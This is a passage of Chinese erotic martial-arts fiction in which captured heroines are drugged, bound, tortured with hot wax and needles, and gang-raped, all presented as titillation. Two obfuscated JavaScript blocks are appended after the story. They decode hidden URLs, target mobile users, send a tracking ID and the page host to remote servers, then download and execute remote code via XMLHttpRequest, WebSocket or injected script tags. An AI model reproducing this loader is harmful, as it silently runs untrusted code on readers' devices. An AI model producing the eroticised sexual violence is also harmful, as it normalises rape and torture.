被抚摩的淫水四溢,同时那肉棍在嘴里出出进进,带的唾液淫水流满了胸前,几
个家丁在旁边看的大声喝彩。柳青更是得意非常,抱紧这美人的头,将肉棒大力
挺送,给她灌了一喉咙精液。玩得爽利了,从她嘴里拔出肉棒,又把那根满是黏
液的阳具在叶玉嫣的俏脸上摔打着,白色的精液溅的到处都是。

  「也让兄弟们一起享用这女子。」柳青一边系裤带一边说。柳嫂笑道:「哪
里还用你吩咐,这一帮色徒早按奈不住。」说罢拿起帕子,把宫主俏脸上的浆液
抹掉,团起来塞到她的嘴里,只把那充满精液的帕子将宫主的嘴堵的严严实实。
柳青笑道:「姐姐就是喜欢堵嘴,难道兄弟们不要她嘴巴伺候吗?」柳嫂道:
「这是你的精华,可不要浪费了,先让她吃乾净了这些,等会儿再让大伙一起喂
她吃好了。」柳青道:「且看姐姐的手段。」便心满意足的观赏起群戏来。

  柳嫂答应一声,吩咐家丁将紫云宫主从床尾解开项圈上的皮带,将她抬到床
上,一双玉腿分开成一字绑在两边。一旁有家丁取来蜡烛及一干淫具,众人围坐
一圈便点了蜡,耍起淫刑来。柳烟将蜡油倒在叶玉嫣的两腿中间,烫得的她娇躯
一弹,柳嫂立刻把她乳头紧紧揪住,笑道:「今日可要让你好好过瘾!」说着话,
也取来蜡烛一斜,都倒在宫主的乳房上,这美人疼的娇躯往下一收,柳烟又举起
蜡烛,滴在阴户和菊孔上。叶玉嫣的手脚被绳索捆住,无法躲闪,只得任凭淩辱。

  众人在她的敏感处来回揉捏滴蜡,下身烫得淫水乱流,叶玉嫣来回挣动着,
那白丝绳又软又韧,又哪里逃脱得了,滚热的蜡油如雨点般的落在乳头阴户上。
叶宫主被捆绑成羞耻模样,堵嘴蒙眼,菊孔被皮棒插得满满,娇躯稍微的移动,
后面都会传来剧烈的性刺激,被这些人这般施以淫乱,不知道下来还要干些什幺。

  柳府上下围在床边亵玩,眼见这美人手脚被绑,不断从戴着口环的嘴里发出
娇喘。粉色的阴户随着雪白的屁股左右的挣动,显得无比妖冶诱人,被勾引的一
个个底下坚硬如铁。柳烟早已按奈不住,将这美人屁股里的皮棒拔了,钻到叶玉
嫣身下,把自己火热高翘的肉棒插进菊孔里,抱住她前后耸动起来。

  柳嫂笑道:「二弟也耐不住了,也罢,这女子嘴里也吃净了,便让她再吃
些罢。」说完将叶玉嫣口中帕子掏出。早有眼快的补上来,按定这美人脑袋,把
自己火热的肉棒也插在她嘴里,前后耸动起来。其它人看见,谁肯落后,抬起她
雪白的屁股,直压了上去,将那肉棍插入阴户。

  叶玉嫣上下前后三个肉洞都被塞了大肉棒在里面抽送,只被折磨得「唔唔」
娇喘。还有人笑道:「你们倒把她肉洞都佔了,那我就在胸前补贴补贴。」说着
就举着自己的棍子跨过正日弄宫主的家丁身上,按捺着自己肉棍,贴在这美人两
个高耸的肉球中间,一边耸动,一边把乳房揉捏着往阳具上挤弄。

  看着这美貌女子被捆在床上,眼睛被矇住,嘴里含着阴茎允吸,屁股夹住两
个阳具抽动,乳房又裹着一支肉棒,却还有手脚慢的家丁没有了地方,又不好找
人换换,却发现这美人被白绳绑着的玉腿,便骑到她腿上,各自将自己的阴茎按
在那白嫩的腿上,来回蹭将起来,居然也爽的连声淫叫。

  一时间,房里春光无限,叶玉嫣身上服务着六根肉棒,自己被柳嫂伺候的
又大又硬的阴蒂乳头也被她加紧拉扯揉捏。这绝色美人被折磨的连声娇喘,只勾
得在她体内的色徒纷纷射精。宫主满身满脸的精液四处流淌,只有那两个扒在她
腿上的还没有出,见众人都伏在尤物身上舔食那些黏液,急忙将自己的阴茎一前
一后,插进她满是精水的阴户和菊穴,大力的抽送起来。

  柳嫂见这美人被日弄得哀婉啼转,便又把帕子抹了精液塞在她嘴里,轻
笑道:「叫得这般欢快,少不得逗得大伙再玩你一次。」说着,取过几枚银针,
拽住她的乳头,在手里揉捏的坚硬了,用指头拉着乳头,将银针横刺进去,直穿
而过。叶玉嫣疼的浑身颤抖,嘴里却塞着两块大帕子,只得发出些娇喘,却逗得
众人更是兴奋。柳嫂又将另一边也如法炮製,前后两个汉子也淫叫着拚力抽送,
银针一头还挂有铃铛,娇躯晃动,铃声悦耳,只勾得众人肉棒又高举起来。

--------------------------------
                       第四章  猎屋

  上官燕蒙白玉如护送了几天,身子渐渐恢复,这一日又来到白龙镇,便对白玉
如道:「承白姐姐和叶宫主大恩,来日定当再去紫云宫酬谢。」白玉如见她客气,
微微一笑,说道:「妹妹可是打算赶我走啦?」上官燕忙道:「我不是这个意思,白
姐姐你切莫误会。」

    白玉如瞧她着急,便轻声宽慰道:「我当然知道妹妹不是要赶我走,可我也不
能一路送你到海州啦,宫主此番回去,有要事处置。我见你身子大好,也要回去帮她
忙啦,因此也正要与你道别。」说罢取出一支银簪交给上官燕,嘱咐道:「这簪子
留给妹妹。」上官燕接过银簪,不再扭捏,说道:「小妹见簪如见姐姐,不敢相忘。」
白玉如尚且有事想问她,终觉羞耻,便忍住不提,与她告辞。

    上官燕在镇上客栈留了一宿,回想起前一次在此处失了贞洁,想起前程,不由得
暗暗发愁。第二日清晨,便整装上路,去翻越那白龙山。

    这白龙山虽是不高,但也缅延数十里,在江淮也算是一条大脉。上官燕走上
脊背,眼前山下一片墨绿色的松林,顿觉心中郁闷减轻不少。她走下山脊,只听得
前面林子里有人声笑语呻吟,上官燕经历过房事,自是能辨别这动静。女侠寻思
道:「这般僻静的所在,却有什幺人在嬉戏?」

    走过林子那边去一看,只见松树林中有一处敞开的院落,筑着几间猎屋,两
个黑脸汉子,搂着一个俊俏的姑娘,在那里折磨戏弄。

  那绝色佳人双手反绑,雪白的两腿被笔直拉开捆绑在两颗小树上。一对丰满
的玉兔也用绳子勒起来,两颗乳头上夹了铁夹子,上悬细铁链,被汉子用手拉扯
玩弄着,下面两支黑赤赤的肉棒在后庭和雪白的小腹根处肆意插送着。这姑娘嘴
里塞满帕子,外面又勒了条皮带,被淫虐得只能细细娇喘。

  女侠看得又羞又怒,又觉得那姑娘脸熟,仔细一看,竟是十几日前,在白龙镇上
买艺的黑衫姑娘文若兰。忍不住娇叱一声:「淫贼敢尔。」两汉子听得来人,只
得从女艺人体内拔出肉棒,其中一个骂道:「哪里来的贱人,扰我好事。」另一
个却道:「竟也是个美人,不如捉来一起玩耍。」女侠听到这里耐不住,掣剑在
手杀去。

  两个黑汉衣裤也不及穿,各取了一柄猎叉抵挡。三个一去一回,斗了几合。上
官燕见二汉只是力大,功夫却是粗陋,便卖个破绽,一脚踢在其中一个汉子腰上,只
见他滚落到旁边草窠里,另一个见势不妙,转身便逃,再去看时,二汉却连个影子
都没有了。

  文若兰见到上官燕,喜动颜色,美目流盼,想要说话,却是帕子堵着嘴,外面
又用皮带勒着,用一个小挂锁锁在脑后,只发出些唔唔声。她手脚被棉绳捆背后,
还加了层皮带的手脚扣,和嘴巴一样,俱被锁住。女侠欲待与她开锁,却一时又
找不到钥匙。

  正忙乱间,只见猎屋里走出个妇人来,倒地便拜。上官燕道:「这位大姐免
礼,且问那两个强人是什幺来路?」那妇人哭着道:「那俩汉子是此处的猎户,
有身好功夫,强掳我和小姐两个在此,今日幸得女侠相救。」文若兰皱着秀眉,
有话要说,却苦于嘴巴被堵得严实,只能发出些娇喘。

    上官燕问道:「你可知这铐子上的挂锁钥匙在何处?」妇人回道:「我曾见
他们放在屋里。」女侠便随她进屋里去翻箱倒萝。那妇人却并不急着找,端过一杯
粗茶来,说道:「请恩人饮茶。」

    女侠打斗了一番,原也渴了,忽然想起白龙镇上的遭遇,正是因为喝了一杯歹
茶,方才着了柳家几个淫贼的道,此时也有几分警觉,便道:「我不渴,你将茶放在此
处罢。」她话音刚落,忽觉脚下一空,身子便向下坠去,谁能晓得这猎屋下竟有翻板
机关。

     上官燕向下一落,本能的双臂展开,去攀住洞孔边缘,那知她虽是攀住了,又听
到两声机括声响,腰间一紧,已是被两块木枷卡牢了。如此便成了上半身在猎屋地
板上,下半身在地板下的姿势。她心中大惊,知道必是这妇人弄鬼,双手在地板上捉
起一只凳子来向她掷去。那妇人却缩得快,扳动机关后,便抢出屋外去,在屋外笑道:「
你这女子自己不省事,撞上门来,却怪不得我们。」

     女侠卡在地板间挣扎,忽然觉得有人在地板下用绳子套自己的双脚,她瞧不见
地板下的情形,但心知若双脚被套住便大事不妙,当下修长的双腿乱蹬。那两个黑汉
猎户正手持竹竿,挑着绳索往她腿上套,见她双腿乱动,一时也没办法,又见她屁股
虽是在地板下扭动,却不能躲闪,便用竹竿去戳她屁股。

     上官燕屁股不知被甚幺东西戳弄,心里又惊又怒,只得夹紧双腿,一个不慎终于
被绳索套住了脚踝。不一会儿另一条腿也被套住了,两个猎户见套住了她双腿,大喜
过望,两下用力,将她双腿向两边拉开,将绳索绑在两边。

     二汉哈哈大笑,走上前去,一边将她大腿抚摸着,一边毫不客气地玩弄起屁股。
上官燕双手虽是自由,但隔着楼板,只能急得拍打地板,却半点帮不上屁股的忙,任凭
他们在胯下肆虐。又听那妇人声音从楼板下传来,戏弄道:「瞧你姿色也不错,不
如也在此做个玩物如何?」忽然阴蒂上又痛又爽,被人拉扯起来。那妇人笑道:「
你这肉核倒是不小。」

    上官燕下面被她折磨着敏感中心,只被拉扯得一边娇喘,一边叱骂。两个汉子
笑道:「下面弄妥了,我们这便来收拾你上面。」上官燕听他们说要上来,便在地
板上随手乱抓东西,向门口扔去。两个猎户却似猫戏耗子一般,见她扔完的东西,便
走到她双手够不到的地方,笑语戏辱。

    地板下那妇人却使出本事,在女侠阴户菊孔上不停玩弄,只将她羞辱得身躯不
断挺直。女侠在柳家手上服过缩阴飞乳的淫药,此时渐渐的竟被地板下的妇人挑
逗得高潮起来。地板上二汉见她头晕目眩,口中不断急促呻吟的模样,知道机会来
了,趁机上前俯身,将她双臂箝制住,又用一快扑了迷药的帕子紧紧摀住她的口鼻。

    待上官燕清醒过来,已是被他们弄到床上反绑了起来,连双乳都勒捆住了,双腿
又被一根桿子撑开。她前番看到女艺人饱受淫虐,想到自己捆成这副样子,又被三
人围住,自然也要被如此整治,又羞又怒,不禁叱骂起三人来。

  其中一个猎汉笑道:「骂够了便乖乖来伺候大爷吧!」说完把那散发着骚味
的阳具喂到她嘴边。女侠哪里肯就範,那妇人捏住她瑶鼻,猎汉捏住她下巴,两
人一起给她戴上口环。

    此物淫毒之极,被刑具撑开着樱口,任你是何等的人物,也只能张嘴受辱。
华福把肉棒插在女侠嘴里,一阵搅动,直顶到喉咙里,塞得结结实实。上官燕口
中塞满那根火热的大肉棍,羞愤难当,却被猎汉抱住了脑袋耸动,半分也挣扎不
脱。

  一个汉子强姦着嘴巴,另一个乘机给她戴上刑具,先把乳头捏揉得翘起了,
再用铁夹子钳住,一边抄起那铁链轻轻拉动,一边把肉棒往屁股后面蹭动。女侠
只觉得乳头上麻酥酥的疼,阴蒂被捏弄挑逗着,一支大肉棒慢慢插进菊穴。把里
面塞得严实,那肉棍便胡乱耸动起来,只把上官燕折磨得死去活来,两个汉子见
她摸样声音,猛的用身体在俏脸和美臀上乱撞,淫乱了半个时辰,上下将精液灌
了她一肚子。

  待两个汉子玩得一时爽利了,在一旁休息,中年妇人却不歇手,继续折磨上
官燕,把一支淫具塞在她口环里,乳头上的铁链牵拉戏弄,又取了蜡烛玩滴蜡。
女侠的娇躯上下被烫,玉体就在绳索里挣动起来,只是被反捆着手脚,苦不堪言。
中年妇人嘻嘻笑道:「你阴蒂尿门上也来几滴,定爽翻了你!」一边说一边动手。

    女侠感觉到下体烫热,既惊且怒,偏是自己的阴蒂乳头却愈发的兴奋翘起。
只觉得眼前一暗,连眼睛都被矇住了。黑暗中身体更觉敏感,被烫着要紧处,淫
药发作,身子扭动片刻,竟又高潮起来。

  黑汉笑道:「看不出她外表正经,原来却喜欢这个调调。」话音刚落,就闻
听外面敲门声,有人问道:「两位兄弟,快些开门。」中年妇人喜道:「原来是
小弟来了。」听外面脚步声,约有二十多人。女侠心慌道:「竟又来了许多歹人。」

  听闻来了熟人,三个色徒穿衣着裤,转身出去迎接。小院里一个身材魁梧的红
脸大汉,手搂着一名美貌女子的细腰,身后还跟着二十个壮汉。这红脸汉子正是中
年妇人的弟弟,落草在此地为寇,手下也有百来号人。

    两猎汉与他相熟,称他胡豹兄弟,却又不识他搂着的美貌女子,当下问起。胡
豹笑道:「这是兄弟新纳的押寨夫人。」说完便让夫人上前与姐姐和二位猎汉
见礼。中年妇人忙扶起她道:「妹妹请起。」仔细看她,越看越美,暗自讚叹小弟
的眼光。

    请二位新人在院中落座后,中年妇人便对那押寨夫人笑道:「这二位是我夫君,
年长的是华雄,年轻些的叫华福,我单名一个蓉字,是你夫君的亲姐姐。」那夫人又
与众人见了一遍礼,心里却暗自纳闷,如何华雄华福都是胡蓉的夫君?她也曾听说过
有些穷人家娶不起老婆,兄弟共娶一妻的,也不再去想其中奥妙。

    众人正在院中盘桓,胡豹武功高强,依稀听到猎屋里有女子呻吟,便问起缘由。
姐姐胡蓉笑了起来,说道:「小弟倒也有些运气,偏偏今日来。」

  华家兄弟笑嘻嘻的将胡豹带进猎屋,只见床头案几上摆了蜡烛皮鞭,两名被
掳来的女子关押在里面。两人都被反绑在床上,堵嘴蒙眼,瞧不清除相貌。但丰
乳细腰,雪肤长腿,仍能看出是两名佳丽。其中一位姑娘此刻身上满是蜡痕精液,
显是刚被华家人发洩过。

  胡豹啧啧称讚道:「兄弟真是好豔福。」华雄笑道:「亲家若是喜欢,不
如唤手下几个兄弟一起都来爽爽。」胡豹喜道:「如此甚好。」那寨主夫人见夫
君和手下笑嘻嘻的在那里脱鞋除袜,撩衣解带,肉棒高耸,却也不着恼,只在一
旁观瞧。

    上官燕和文若兰听到竟要被这许多人轮姦,都挣扎起来。胡豹上前一手一个,
将手掌在二女腿间一托,他武艺高强,竟是将两人都托得悬空起来。众人瞧他露了
这一手功夫,皆尽喝彩。

     二女被他这幺一托,彷彿骑在他手上一般,苦于都被绑成肉粽,双腿又被桿子
撑开着,倘若扭动身子,便好似主动被他手掌大力摸揉阴部一般,当下也不敢挣扎,
只能娇喘抗议,却又招来几只淫手在乳房大腿上抚摸搓揉。

  胡蓉笑道:「我有一个法子,可让大伙都玩个尽兴。且让这两只小母狗来比
赛,只限一个时辰,若是谁能伺候更多人射精,便为胜者。败者则要被大伙轮姦
三日。」众汉听她一说这个法子,纷纷称讚。两个姑娘听了,呜呜扭动起来,却
哪里还能挣扎,双乳被肆意的揉捏把玩,拉扯成各种形状,高举的大肉棒已经塞
满小嘴,在喉咙里来回抽送,屁股也没闲着,前插后塞,不一刻便将二人身上能
插入的肉洞都佔满了。

  二女心中暗骂胡蓉歹毒,一面也怕落败后被这二十多人淫乱折磨,一面也不
希望另一人落败,不知是该争胜还是争败,脑中一片混乱,只得先用嘴巴裹舔肉棒,
一边摇动屁股用阴户和菊穴服侍另外两根。却才耸动了几十下,就听一个女子声
音道:「你们且慢。」众人回头去看,原来是寨主夫人。文若兰听她声音,唔唔
挣扎起来。

--------------------------------
                      第五章  替身

   胡豹听夫人劝阻,一边耸动一边笑道:「夫人你这是吃醋幺。」夫人笑道:
「便又是这般不正经,我听这女子声音,似是相识,且让我看她面目。」胡豹心
里奇怪,笑道:「夫人这便是说笑了,她既未说话,如何你能认出?」夫人道:「我听
她方才喘息哼声便觉熟悉。」

     胡豹虽觉得奇怪,也便将文若兰蒙眼的帕子解开,押寨夫人定睛一瞧便叫道:
「这个不是我若兰妹妹幺!」文若兰听她声音早认出了她,只是嘴巴被胡豹巨大的
肉棒堵塞得严实,「唔唔」的说不出话来。

  华雄却不甘心,问道:「这个女子如何成了你的妹妹?」夫人道:「我名叫文
雪兰,妹妹名作文若兰,这正是我亲妹妹,还请叔叔婶婶放过她,容我姐妹完聚。」
正玩得快活的众人听了,恋恋不捨的拔出肉棒。胡豹正在小姨子嘴里快活,被夫人
这幺一搅,便将在上官燕嘴里发洩的手下拉下来,换上自己的巨棒。

    文雪兰替妹妹摘口环,解绑绳,收拾了身上的精液淫水,问胡蓉讨了衣服,
与她穿了,扶去外面。文若兰心道,虽是吃了这家人许多时日的淫恶淩辱,但看
在姐姐的面上,也暂不去计较自己的事,二女在院中相叙旧话。

  原来文家姐妹十数日前在白龙镇上卖艺,后蒙上官燕解围赠银,文雪兰去找她
还银子时,却在街上被一个强人掳走。那强人正是白龙山寨主胡豹,文雪兰见势不妙,
寻思若是抗拒,也必被他淫辱,索性对这胡寨主假意迎奉,免了一番折磨。

  那胡寨主得了这个天姿国色的美人,每日都要与她寻欢。文家姐妹练得一身
好柔术,身子柔韧无比。文雪兰把这套功夫用在床上,把姓胡的伺候得又新鲜又
舒爽,对她宠爱有加,文雪兰就此做了他的压寨夫人。

    胡家与华家结亲,知道华家祖传有秘药,能使女子胸部增大,阴户紧缩,交
合起来高潮不止,便来讨药给夫人服用,更增床笫之欢,哪知在此文雪兰却巧遇
了妹妹。

  姐妹俩各自述说遭遇,只听得猎屋里满是欢声淫叫,因是少了文若兰,所有
汉子的慾火便一齐往上官燕身上发洩。文若兰听了道:「姐姐还记得恩人否?此刻
在屋里的这位姑娘,便是替我们赶走泼皮,又相助银两的那位上官女侠。」

    文雪兰闻言大惊,忙问缘由。只听妹妹道:「我到山上寻姐姐时,被华家捉住,
今日又来淩辱我时,被上官女侠撞见。本来她胜了华家两个淫贼,便能救我,可我被
堵着嘴,不及提醒她,只得由她中了那恶婆的机关。」

    文雪兰道:「嗯人受辱,我心不安。」文若兰问道:「姐姐可有主意?」文雪兰
思付道:「我有一策。」把主意与文若兰一说,文若兰默然半响,说道:「如此可委
屈姐姐了。」

    姐妹俩计议停当,文雪兰便进找胡寨主。进刑房里一瞧,只见一副淫霏无比
的景象。

    上官女侠此时被人抱住疯狂的亲吻着,双手反背,两条雪白颤动的玉腿一字
大开,被绳子和拘束皮圈刑具捆的性感至极,一双裸露的巨乳被人捏在手里随意
的搓揉把玩,粉色的后庭和蜜穴更是被两根大用肉棒塞的严严实实没有半点缝隙
抽插着,身上布满了喷出来的精液痕迹,嘴巴也被肉棒塞得满满,只能挤出些悦
耳的娇喘。

  文雪兰笑道:「大伙玩得这般高兴,小妹也有些心动。」胡蓉初见她时,便有
些心动,此时听她似有自荐的意思,便笑道:「妹妹端是生得天仙摸样,若是弟弟
肯允,我们大家便一起来轮姦你夫人如何?」

    那胡寨主听她这幺一说,顿时踌躇起来,他又如何捨得自己夫人被别人折磨。
文雪兰知道胡豹心意,便笑道:「素闻嫂嫂这里有缩阴飞乳的神药,不如把那药
赐我吃了,我伺候你们几个,保管大家都尽兴。」胡蓉笑道:「早料到你们是来
讨药的。」又对胡豹说:「小弟今日也玩了我家的女子,何必小气。」胡豹自幼被
姐姐拉扯大,对她百计依从,犹豫了一番,也勉强点头答应了。

  当下胡蓉兑水调了春药,文雪兰接过来,笑盈盈的服了,又对胡寨主使了个
媚眼。胡寨主按耐不住,一把抱住她按在床头。众人见了文雪兰的浪骚劲,便从
女侠身上退出肉棒,纷纷围上来。

    胡蓉吩咐将上官燕押到隔壁房里,蒙眼堵嘴四肢反绑的吊在樑上。却也不让
她宽鬆,把阴户菊孔里都塞了淫棒,用皮带锁在腰间,随后再去和文雪兰嬉戏。
进屋时正看到弟媳在几条大汉肌肉夹缝里扭动,便笑道:「你们如何这般心急,要
绑起来玩才有趣味呢。」

  众人听她吩咐,便将寨主夫人双手反扭到身后,华家兄弟用绳子在这尤物身上
勒捆起来,一对高耸的玉乳着重伺候,只将绳子在乳房根部慢慢地一圈一圈的勒
下去,又乘机抚摸玩弄,将两个乳头搓揉得高高翘起。这伎俩也是玩熟了的,不
一刻便将她绑成肉粽一般。

    上身捆绑妥当,又将她一双修长的玉腿盘起,捆了个玉女坐莲,嘴上戴了个
口环。文雪兰早已精通房术,被捆成这般模样,嘴巴又被口环撑开,也知道要玩
些什幺花样。果然绑完了她的双脚,两支高举的肉棒便在她俏脸上蹭动起来。

  寨主夫人盘坐在众人脚下,嘴巴里一会吃吃左边的肉棒,一会尝尝右边的鸡
巴,两边伺候着,直忙了个不可开交。待吃的满嘴口水淫汁流淌,自己屁股间的
也早已经兴奋的难受,只是反绑着双手,无法安慰,正自焦躁,眼前忽然一片黑
暗,一条织物贴住双目,却也被戴上了眼罩,又听得耳边胡蓉一声轻笑,自己阴
蒂已经被她捏在手里搓揉起来。另一只手抚摸着屁股,手指插入菊穴,配合前面
揉捏肉核。

  文雪兰被反捆蒙眼,阴蒂被胡蓉灵活的手指挑逗得又硬又挺,只顾扭动屁股
迎合着,口中一边吃着大肉棒,一边发出些嗲声嗲气的娇声,只逗得众人更加兴
奋。胡豹见她乳头阴蒂都高高翘起,便托起雪白的屁股,放在腿上,昂头挺身,
巨大红通的阴茎慢慢插入菊孔,塞得满满的。文雪兰扭动屁股送春,口中也把肉
棒吃得更加香甜勤快。

  这般被抱着小蛮腰,上下耸动抽插着,同时嘴里又含着一根肉棒。众人上下
夹攻,等到抱着她的胡豹玩的爽了,高声淫叫着将精液射了一屁股,在小嘴里肆
虐的华福便将肉棒抽出,将她从又抱起来,菊孔套在了自己的肉棒上,开始新一
轮的淫乱攻势,众人你下我上,轮流享用。

  文雪兰菊孔和嘴巴被肉棒交换插送,阴户却只有胡蓉来用手抚慰,每到快要
高潮时,胡蓉却停下玩弄,让她身体一直保持兴奋,却又高潮不得,只把文雪兰
逗得又气又急。足足耍弄了半个时辰,这娇客的乳头阴蒂都涨得通体发亮,却是
一次高潮未得,把她折磨得苦不堪言。

  胡蓉瞧她已是欲仙欲死,也知是戏耍够了,让人将肉棒插入她阴户,手指又
準确在坚挺的阴蒂上推波助澜,文雪兰被挑逗许久,此时这等淫乱攻势,顿时将
她送入云端。美臀愉快的抖动着着,异常激烈的高潮从屁股窜出,随着颤抖的肉
核传入到全身,屁股都好像被融化了。

    胡蓉趁势连连拉扯乳头和阴蒂,寨主夫人娇媚的扭动着玉体,随着高潮的韵
律摇摆,嘴里不受控制地努力叫春。胡蓉知她阴关已破,此时只消不断玩弄,便
会不断高潮。

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
